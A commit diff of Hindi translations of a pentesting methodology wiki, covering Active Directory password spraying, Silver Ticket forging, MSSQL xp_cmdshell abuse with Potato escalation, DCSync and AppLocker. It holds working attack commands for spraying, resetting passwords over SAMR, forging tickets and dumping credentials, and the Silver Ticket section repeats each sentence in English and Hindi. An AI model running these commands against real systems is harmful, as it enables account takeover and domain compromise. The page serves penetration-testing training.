Translated ['src/windows-hardening/active-directory-methodology/silver-t

This commit is contained in:
Translator 2025-09-03 17:32:10 +00:00
parent 7c9a681b8f
commit 03cfcca9ab
4 changed files with 250 additions and 138 deletions

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**इस अद्भुत पोस्ट को देखें:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**इस शानदार पोस्ट को देखें:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
एक बार जब आप कई **valid usernames** पा लेते हैं, तो आप प्रत्येक discovered users के साथ सबसे अधिक प्रयुक्त **common passwords** आजमा सकते हैं (environment की password policy को ध्यान में रखें).\
डिफ़ॉल्ट रूप से **minimum** **password** **length** **7** है।
एक बार जब आप कई **valid usernames** खोज लेते हैं, तो आप पाए गए प्रत्येक उपयोगकर्ता के साथ सबसे सामान्य **common passwords** आज़मा सकते हैं (पर्यावरण की **password policy** का ध्यान रखें).\
डिफ़ॉल्ट रूप से न्यूनतम **password** लंबाई **7** है।
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
सामान्य usernames की सूचियाँ भी उपयोगी हो सकती हैं: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
ध्यान दें कि आप **could lockout some accounts if you try several wrong passwords** (डिफ़ॉल्ट रूप से 10 से ज़्यादा)।
ध्यान दें कि आप कुछ **accounts** को lockout कर सकते हैं यदि आप कई गलत **passwords** आज़माते हैं (डिफ़ॉल्ट रूप से 10 से अधिक)।
### Get password policy
### Password policy प्राप्त करें
यदि आपके पास कुछ user credentials हैं या domain user के रूप में क shell है, तो आप **get the password policy with**:
यदि आपके पास कुछ user credentials हैं या domain user के रूप में कोई shell है तो आप **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,9 +31,9 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Linux (या सभी) से Exploitation
### Exploitation from Linux (या सभी)
- **crackmapexec** का उपयोग करते हुए:
- **crackmapexec:** का उपयोग
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
@ -51,12 +51,12 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) का उपयोग — अनुशंसित नहीं; कभी-कभी काम नहीं करता
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) का उपयोग - अनुशंसित नहीं, कभी-कभी काम नहीं करता
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- **Metasploit** के `scanner/smb/smb_login` मॉड्यूल का उपयोग करके:
- **Metasploit** के `scanner/smb/smb_login` मॉड्यूल के साथ:
![](<../../images/image (745).png>)
@ -69,7 +69,7 @@ done
```
#### Windows से
- [Rubeus](https://github.com/Zer1t0/Rubeus) के brute module वाले version के साथ:
- [Rubeus](https://github.com/Zer1t0/Rubeus) के brute module वाले संस्करण के साथ:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ताओं को जेनरेट कर सकता है और यह डोमेन से पासवर्ड पॉलिसी प्राप्त करेगा और उसी के अनुसार प्रयासों की संख्या सीमित करेगा):
- के साथ [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ताओं को उत्पन्न कर सकता है और यह डोमेन से पासवर्ड पॉलिसी प्राप्त करेगा तथा उसके अनुसार प्रयासों को सीमित करेगा):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,19 +85,51 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### पहचानें और हथियाएँ "Password must change at next logon" Accounts (SAMR)
एक कम-शोर तकनीक यह है कि किसी benign/empty password पर spray करें और उन खातों को पकड़ें जो STATUS_PASSWORD_MUST_CHANGE लौटाते हैं, जो यह संकेत देता है कि पासवर्ड जबरन समाप्त कर दिया गया था और पुराने पासवर्ड को जाने बिना उसे बदला जा सकता है।
Workflow:
- Enumerate users (RID brute via SAMR) to build the target list:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray an empty password और hits पर आगे बढ़ते रहें ताकि उन accounts को capture किया जा सके जिन्हें next logon पर बदलना होगा:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- प्रत्येक हिट के लिए, NetExecs मॉड्यूल के साथ SAMR पर पासवर्ड बदलें (जब "must change" सेट हो तो पुराने पासवर्ड की आवश्यकता नहीं होती):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
ऑपरेशनल नोट्स:
- Kerberos-based operations से पहले सुनिश्चित करें कि आपके होस्ट क्लॉक का समय DC के साथ सिंक में हो: `sudo ntpdate <dc_fqdn>`.
- कुछ मॉड्यूल्स में (उदा., RDP/WinRM) (Pwn3d!) के बिना एक [+] का मतलब है कि creds वैध हैं, लेकिन अकाउंट के पास interactive logon rights नहीं हैं।
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying SMB/NTLM/LDAP bind attempts की तुलना में शोर कम करता है और AD lockout policies के साथ बेहतर मेल खाता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़कर सटीक और सुरक्षित तरीके से spray करता है। यह compromised principals को Neo4j में BloodHound pathing के लिए tag भी कर सकता है।
Kerberos pre-authbased spraying SMB/NTLM/LDAP bind प्रयासों की तुलना में शोर कम करता है और AD lockout policies के साथ बेहतर संरेखण रखता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़कर सटीक और सुरक्षित तरीके से spray करता है। यह compromised principals को Neo4j में tag भी कर सकता है ताकि BloodHound pathing संभव हो
Key ideas:
- LDAP user discovery with paging और LDAPS support, वैकल्पिक रूप से custom LDAP filters का उपयोग करके।
- Domain lockout policy + PSO-aware filtering ताकि एक configurable attempt buffer (threshold) छोड़ा जा सके और users को लॉक होने से बचाया जा सके।
- Kerberos pre-auth validation तेज़ gssapi bindings का उपयोग करते हुए (DCs पर 4625 के बजाय 4768/4771 उत्पन्न होते हैं)।
- Pattern-based, per-user password generation, ऐसे variables का उपयोग करते हुए जैसे नाम और प्रत्येक user के pwdLastSet से निकले temporal values।
- LDAP user discovery paging और LDAPS support के साथ, वैकल्पिक रूप से custom LDAP filters का उपयोग करते हुए
- Domain lockout policy + PSO-aware filtering ताकि एक configurable attempt buffer (threshold) छोड़ा जा सके और users को lock होने से रोका जा सके।
- Kerberos pre-auth validation fast gssapi bindings का उपयोग करते हुए (DCs पर 4625 के बजाय 4768/4771 जनरेट करता है)।
- Pattern-based, प्रति-user password generation ऐसे variables का उपयोग करते हुए जैसे names और प्रत्येक user के pwdLastSet से निकले temporal values।
- Throughput control threads, jitter, और max requests per second के साथ।
- Optional Neo4j integration ताकि owned users को BloodHound के लिए mark किया जा सके।
@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
लक्ष्यीकरण और पैटर्न नियंत्रण:
लक्ष्य निर्धारण और पैटर्न नियंत्रण:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
छुपाव और सुरक्षा नियंत्रण:
Stealth और सुरक्षा नियंत्रण:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -144,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
```
Available variables include:
- {name}, {samaccountname}
- प्रत्येक यूज़र के pwdLastSet (या whenCreated) से Temporal: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers और org token: {separator}, {suffix}, {extra}
- प्रत्येक उपयोगकर्ता के pwdLastSet (या whenCreated) से समय-संबंधी: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- रचना सहायक और org token: {separator}, {suffix}, {extra}
Operational notes:
- सबसे विश्वसनीय badPwdCount और policy-संबंधी जानकारी पढ़ने के लिए -dc के साथ PDC-emulator को प्राथमिकता दें।
- badPwdCount की रीसेट observation window के बाद अगले प्रयास पर ट्रिगर होती है; सुरक्षित रहने के लिए threshold और timing का उपयोग करें
- Kerberos pre-auth प्रयास DC telemetry में 4768/4771 के रूप में दिखते हैं; भीड़ में घुलने के लिए jitter और rate-limiting का उपयोग करें।
- सबसे अधिक अधिकारिक badPwdCount और नीति-संबंधी जानकारी पढ़ने के लिए PDC-emulator को -dc के साथ क्वेरी करना प्राथमिकता दें.
- badPwdCount रिसेट observation window के बाद अगली कोशिश पर ट्रिगर होते हैं; सुरक्षित रहने के लिए threshold और timing का उपयोग करें.
- Kerberos pre-auth प्रयास DC telemetry में 4768/4771 के रूप में दिखाई देते हैं; मिश्रित रहने के लिए jitter और rate-limiting का उपयोग करें.
> Tip: SpearSprays default LDAP page size is 200; आवश्यकतानुसार -lps से समायोजित करें।
> Tip: SpearSprays default LDAP page size is 200; आवश्यकता अनुसार -lps के साथ समायोजित करें.
## Outlook Web Access
p**assword spraying outlook** के लिए कई tools उपलब्ध हैं।
p**assword spraying outlook** के लिए कई टूल्स हैं।
- के साथ [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- के साथ [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- के साथ [Ruler](https://github.com/sensepost/ruler) (reliable!)
- के साथ [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- के साथ [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
इनमें से किसी भी tool का उपयोग करने के लिए, आपको एक user list और एक password / छोटे password सूची की आवश्यकता होगी जिन्हें spray किया जा सके।
इनमें से किसी भी टूल का उपयोग करने के लिए, आपको एक user list और एक password / छोटी password सूची चाहिए जिन्हें spray करना है.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -194,6 +226,7 @@ p**assword spraying outlook** के लिए कई tools उपलब्ध
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Silver ticket
**Silver Ticket** हमला Active Directory (AD) वातावरण में सेवा टिकटों के शोषण से संबंधित है। यह विधि **सेवा खाते का NTLM हैश प्राप्त करने** पर निर्भर करती है, जैसे कि एक कंप्यूटर खाता, ताकि एक टिकट ग्रांटिंग सेवा (TGS) टिकट को forge किया जा सके। इस forged टिकट के साथ, एक हमलावर नेटवर्क पर विशिष्ट सेवाओं तक पहुँच सकता है, **किसी भी उपयोगकर्ता का अनुकरण करते हुए**, आमतौर पर प्रशासनिक विशेषाधिकारों के लिए लक्ष्य बनाते हुए। यह जोर दिया गया है कि टिकटों को forge करने के लिए AES कुंजी का उपयोग करना अधिक सुरक्षित और कम पहचानने योग्य है।
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. यह **Silver Ticket** हमला Active Directory (AD) वातावरण में service tickets के शोषण पर आधारित है। This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. यह तरीका किसी service account का **NTLM hash प्राप्त करने** पर निर्भर करता है, जैसे कि computer account, ताकि Ticket Granting Service (TGS) ticket को forge किया जा सके। With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. इस forged ticket के साथ, attacker नेटवर्क पर विशिष्ट services तक पहुँच सकता है, **किसी भी user के रूप में impersonate करके**, आमतौर पर administrative privileges हासिल करने के लिए। It's emphasized that using AES keys for forging tickets is more secure and less detectable. यहाँ ज़ोर दिया जाता है कि tickets को forge करने के लिए AES keys का उपयोग अधिक सुरक्षित और कम detectable होता है।
> [!WARNING]
> Silver Tickets, Golden Tickets की तुलना में कम पहचानने योग्य होते हैं क्योंकि उन्हें केवल **सेवा खाते का हैश** चाहिए होता है, न कि krbtgt खाते का। हालाँकि, वे उस विशिष्ट सेवा तक सीमित होते हैं जिसे वे लक्षित करते हैं। इसके अलावा, केवल एक उपयोगकर्ता का पासवर्ड चुराना।
इसके अलावा, यदि आप एक **खाते के पासवर्ड को SPN के साथ समझौता करते हैं** तो आप उस पासवर्ड का उपयोग करके किसी भी उपयोगकर्ता का अनुकरण करते हुए एक Silver Ticket बना सकते हैं।
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. हालांकि, Silver Tickets Golden Tickets की तुलना में कम detectable होते हैं क्योंकि इन्हें केवल **service account का hash** चाहिए होता है, krbtgt account की आवश्यकता नहीं होती। However, they are limited to the specific service they target. हालांकि, ये केवल उस specific service तक सीमित होते हैं जिसे वे target करते हैं। Moreover, just stealing the password of a user. इसके अलावा, सिर्फ किसी user का password चुराना।
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. इसके अलावा, यदि आप किसी **account का password जिसमें SPN हो** compromise कर लेते हैं, तो आप उस password का उपयोग करके उस service के लिए किसी भी user के रूप में impersonate करने वाला Silver Ticket बना सकते हैं।
टिकट बनाने के लिए, विभिन्न उपकरणों का उपयोग ऑपरेटिंग सिस्टम के आधार पर किया जाता है:
For ticket crafting, different tools are employed based on the operating system: Ticket crafting के लिए, ऑपरेटिंग सिस्टम के आधार पर विभिन्न tools का उपयोग किया जाता है:
### On Linux
```bash
@ -35,48 +37,81 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS सेवा को पीड़ित की फ़ाइल प्रणाली तक पहुँचने के लिए एक सामान्य लक्ष्य के रूप में उजागर किया गया है, लेकिन HOST और RPCSS जैसी अन्य सेवाओं का भी कार्यों और WMI प्रश्नों के लिए शोषण किया जा सकता है।
CIFS सेवा को पीड़ित के फ़ाइल सिस्टम तक पहुँचने के लिए एक सामान्य लक्ष्य के रूप में हाइलाइट किया गया है, लेकिन HOST और RPCSS जैसी अन्य सेवाओं का भी टास्क और WMI क्वेरीज़ के लिए शोषण किया जा सकता है।
### उदाहरण: MSSQL service (MSSQLSvc) + Potato to SYSTEM
यदि आपके पास किसी SQL service account (उदा., sqlsvc) का NTLM hash (या AES key) है, तो आप MSSQL SPN के लिए एक TGS forge कर सकते हैं और SQL service पर किसी भी user को impersonate कर सकते हैं। वहां से, xp_cmdshell को enable करके SQL service account के रूप में commands execute कर सकते हैं। यदि उस token में SeImpersonatePrivilege है, तो Potato को chain करके SYSTEM तक elevate कर लें।
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- यदि परिणामी संदर्भ में SeImpersonatePrivilege हो (अक्सर service accounts के लिए सत्य), SYSTEM प्राप्त करने के लिए Potato variant का उपयोग करें:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
More details on abusing MSSQL and enabling xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Potato techniques overview:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## उपलब्ध सेवाएँ
| सेवा प्रकार | सेवा सिल्वर टिकट्स |
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell रिमोटिंग | <p>HOST</p><p>HTTP</p><p>OS के आधार पर भी:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>कुछ अवसरों पर आप बस पूछ सकते हैं: WINRM</p> |
| अनुसूचित कार्य | HOST |
| Windows फ़ाइल शेयर, साथ ही psexec | CIFS |
| LDAP संचालन, जिसमें DCSync शामिल है | LDAP |
| Windows रिमोट सर्वर प्रशासन उपकरण | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| गोल्डन टिकट्स | krbtgt |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>OS पर निर्भर होकर:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>कुछ परिस्थितियों में आप बस अनुरोध कर सकते हैं: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
**Rubeus** का उपयोग करके आप **इन सभी** टिकटों के लिए अनुरोध कर सकते हैं, निम्नलिखित पैरामीटर का उपयोग करते हुए:
Using **Rubeus** you may **ask for all** these tickets using the parameter:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### सिल्वर टिकट्स इवेंट आईडी
### Silver tickets Event IDs
- 4624: खाता लॉगिन
- 4634: खाता लॉगआउट
- 4672: व्यवस्थापक लॉगिन
- 4624: खाता लॉग
- 4634: खाता लॉगऑफ
- 4672: प्रशासक लॉगऑ
## स्थिरता
## Persistence
मशीनों को हर 30 दिनों में अपना पासवर्ड बदलने से रोकने के लिए `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` सेट करें या आप `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` को 30 दिनों से अधिक के बड़े मान पर सेट कर सकते हैं ताकि यह संकेत दिया जा सके कि मशीन के पासवर्ड को कब बदलना चाहिए।
मशीनों को हर 30 दिनों में अपना पासवर्ड बदलने से रोकने के लिए सेट करें `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` या आप `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` को 30days से बड़े मान पर सेट कर सकते हैं ताकि यह बत सके कि मशीन का पासवर्ड किस अवधि पर रोटेट होना चाहिए।
## सेवा टिकटों का दुरुपयोग
## Abusing Service tickets
निम्नलिखित उदाहरणों में कल्पना करें कि टिकट को व्यवस्थापक खाते का अनुकरण करते हुए प्राप्त किया गया है।
ीचे के उदाहरणों में मान लें कि टिकट प्रशासक खाते का नक्कल करके हासिल किया गया है।
### CIFS
इस टिकट के साथ आप **SMB** के माध्यम से `C$` और `ADMIN$` फ़ोल्डर तक पहुँच सकते हैं (यदि वे उजागर हैं) और फ़ाइलों को दूरस्थ फ़ाइल प्रणाली के एक भाग में कॉपी कर सकते हैं, बस कुछ ऐसा करते हुए:
इस टिकट के साथ आप रिमोट फाइल सिस्टम में `C$` और `ADMIN$` फ़ोल्डर तक **SMB** के जरिए पहुँच सकेंगे (यदि वे एक्सपोज़्ड हैं) और रिमोट फाइल सिस्टम के किसी हिस्से में फाइल कॉपी कर सकेंगे, कुछ इस तरह:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
आप होस्ट के अंदर एक शेल प्राप्त करने या **psexec** का उपयोग करके मनमाने आदेश निष्पादित करने में भी सक्षम होंगे:
आप **psexec** का उपयोग करके होस्ट के अंदर shell प्राप्त कर सकते हैं या arbitrary commands चला सकते हैं:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -84,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### HOST
इस अनुमति के साथ, आप दूरस्थ कंप्यूटरों में अनुसूचित कार्य उत्पन्न कर सकते हैं और मनमाने आदेश निष्पादित कर सकते हैं:
इस अनुमति से आप remote computers पर scheduled tasks बना सकते हैं और arbitrary commands चला सकते हैं:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -98,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
इन टिकटों के साथ आप **शिकार प्रणाली में WMI निष्पादित कर सकते हैं**:
इन tickets के साथ आप लक्षित सिस्टम पर **WMI चला सकते हैं**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -108,34 +143,35 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
**wmiexec** के बारे में **अधिक जानकारी** निम्नलिखित पृष्ठ पर प्राप्त करें:
निम्न पृष्ठ में **wmiexec के बारे में अधिक जानकारी** देखें:
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### HOST + WSMAN (WINRM)
### होस्ट + WSMAN (WINRM)
winrm एक्सेस के साथ एक कंप्यूटर पर आप **इसका उपयोग कर सकते हैं** और यहां तक कि एक PowerShell प्राप्त कर सकते हैं:
किसी कंप्यूटर पर winrm एक्सेस होने पर आप इसे **एक्सेस कर सकते हैं** और यहां तक कि PowerShell भी प्राप्त कर सकते हैं:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
इस पृष्ठ को देखें ताकि आप **winrm का उपयोग करके एक दूरस्थ होस्ट से कनेक्ट करने के अधिक तरीकों** के बारे में जान सकें:
निम्नलिखित पृष्ठ देखें ताकि आप **रिमोट होस्ट से winrm का उपयोग करके कनेक्ट करने के अधिक तरीके** जान सकें:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> ध्यान दें कि **winrm को दूरस्थ कंप्यूटर पर सक्रिय और सुनने वाला होना चाहिए** ताकि आप इसे एक्सेस कर सकें
> ध्यान दें कि **winrm को रिमोट कंप्यूटर पर सक्रिय और सुनने की स्थिति में होना चाहिए** ताकि इसे एक्सेस किया जा सके
### LDAP
इस विशेषाधिकार के साथ आप **DCSync** का उपयोग करके DC डेटाबेस को डंप कर सकते हैं:
इस विशेषाधिकार के साथ आप **DCSync** का उपयोग करके DC डेटाबेस डंप कर सकते हैं:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync के बारे में अधिक जानें** निम्नलिखित पृष्ठ पर:
**DCSync के बारे में अधिक जानें** निम्नलिखित पृष्ठ में:
{{#ref}}
@ -148,6 +184,7 @@ dcsync.md
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -1,15 +1,15 @@
# Windows Security Controls
# Windows सुरक्षा नियंत्रण
{{#include ../../banners/hacktricks-training.md}}
## AppLocker Policy
## AppLocker नीति
एक एप्लिकेशन व्हाइटलिस्ट एक अनुमोदित सॉफ़्टवेयर एप्लिकेशन या निष्पादन योग्य फ़ाइलों की सूची है जो एक सिस्टम पर मौजूद और चलाने की अनुमति है। इसका लक्ष्य पर्यावरण को हानिकारक मैलवेयर और अप्रूव्ड सॉफ़्टवेयर से बचाना है जो किसी संगठन की विशिष्ट व्यावसायिक आवश्यकताओं के साथ मेल नहीं खाता
An application whitelist उन स्वीकृत software applications या executables की सूची होती है जिन्हें किसी सिस्टम पर मौजूद रहने और चलने की अनुमति होती है। इसका उद्देश्य environment को हानिकारक malware और उन अस्वीकृत software से सुरक्षित रखना है जो किसी organization की विशिष्ट व्यावसायिक आवश्यकताओं के अनुरूप नहीं होते
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन सी एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्टों, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\
यह सामान्य है कि संगठन **cmd.exe और PowerShell.exe** को ब्लॉक करते हैं और कुछ निर्देशिकाओं में लिखने की अनुमति देते हैं, **लेकिन इसे सभी को बायपास किया जा सकता है**।
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft का **application whitelisting solution** है और यह system administrators को यह नियंत्रित करने की अनुमति देता है कि **कौन-से applications और files users चला सकते हैं**। यह executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers पर **सूक्ष्म नियंत्रण (granular control)** प्रदान करता है।\
संगठनों के लिए आम बात है कि वे **cmd.exe and PowerShell.exe** और कुछ निर्देशिकाओं पर write access को block कर देते हैं, **लेकिन यह सब bypass किया जा सकता है**।
### Check
### जाँच
Check which files/extensions are blacklisted/whitelisted:
```bash
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
यह रजिस्ट्री पथ AppLocker द्वारा लागू की गई कॉन्फ़िगरेशन और नीतियों को शामिल करता है, जो सिस्टम पर लागू वर्तमान नियमों के सेट की समीक्षा करने का एक तरीका प्रदान करता है:
यह रजिस्ट्री पथ AppLocker द्वारा लागू की गई कॉन्फ़िगरेशन और नीतियों को रखता है, और सिस्टम पर लागू नियमों के वर्तमान सेट की समीक्षा करने का एक तरीका प्रदान करता है:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### बायपास
### Bypass
